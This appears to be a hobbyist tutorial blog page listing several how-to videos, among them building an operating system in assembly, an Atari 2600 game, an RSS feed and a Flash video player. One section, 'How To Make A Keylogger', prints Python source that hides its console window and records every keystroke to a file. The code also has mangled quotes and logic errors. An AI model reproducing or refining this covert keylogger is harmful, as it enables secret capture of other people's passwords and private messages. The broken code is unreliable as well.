How To Make An Operating System

In this episode, gigafide shows you how to create our own operating system using the Assembly programming language.

Project Files:
http://www.tinkernut.com/downloads/tinkeros.zip

Learn Assembly:
http://en.wikipedia.org/wiki/Assembly_language
http://www.drpaulcarter.com/pcasm/
http://www.xs4all.nl/~smit/asm01001.htm
http://joelgompert.com/OS/TableOfContents.htm

Operating System Credit/Reference:
http://mikeos.berlios.de

Virtual Box:
http://www.virtualbox.org

Disk Images:
http://www.allbootdisks.com/download/95.html

NASM:
http://nasm.sourceforge.net/index.php

[youtube id="6MJUGVFAXKg" width="640" height="385"]

How To Make An Atari Game

The basis of this tutorial is to provide an introductory look at programming in BASIC. Here, we’ll be using Batari Basic to create an Atari 2600 game that’s playable on most Atari emulators.

You can download Visual BBasic from here- http://www.tinkernut.com/downl…..bbasic.exe

You can download my sample game and source code from here – http://www.tinkernut.com/downl….._world.zip

Join the forum discussion on this post

How To Make An RSS Feed

This video shows you how to make an RSS feed both from coding and using freeware. Click here to view the XML used in this video.

Join the forum discussion on this post

How To Make A Keylogger

KEYLOGGER SOURCECODE AND

- Download Python: http://www.python.org/

- Download Pyhook: pyhook.sourceforge.net

- Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/

SOURCE:

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
    if event.Ascii==5:
       
_exit(1)

    if event.Ascii != 0 or 8:
        f=open(‘c:\output.txt’,'r’)
       
buffer=f.read()
        f.close()
       
f=open(‘c:\output.txt’,'w’)
        keylogs=chr(event.Ascii)
       
if event.Ascii==13:
            keylogs=’/n’
        buffer +=
keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Join the forum discussion on this post

Howcast & Tinkernut: How To Create an Adobe Flash Video Player

You’ve just returned from vacation and have tons of videos to share. Create your own custom video player to showcase these memories online. Inspired by the Instructables project: http://www.instructables.com/id/How-To-Create-an-Adobe-Flash-Video-Player/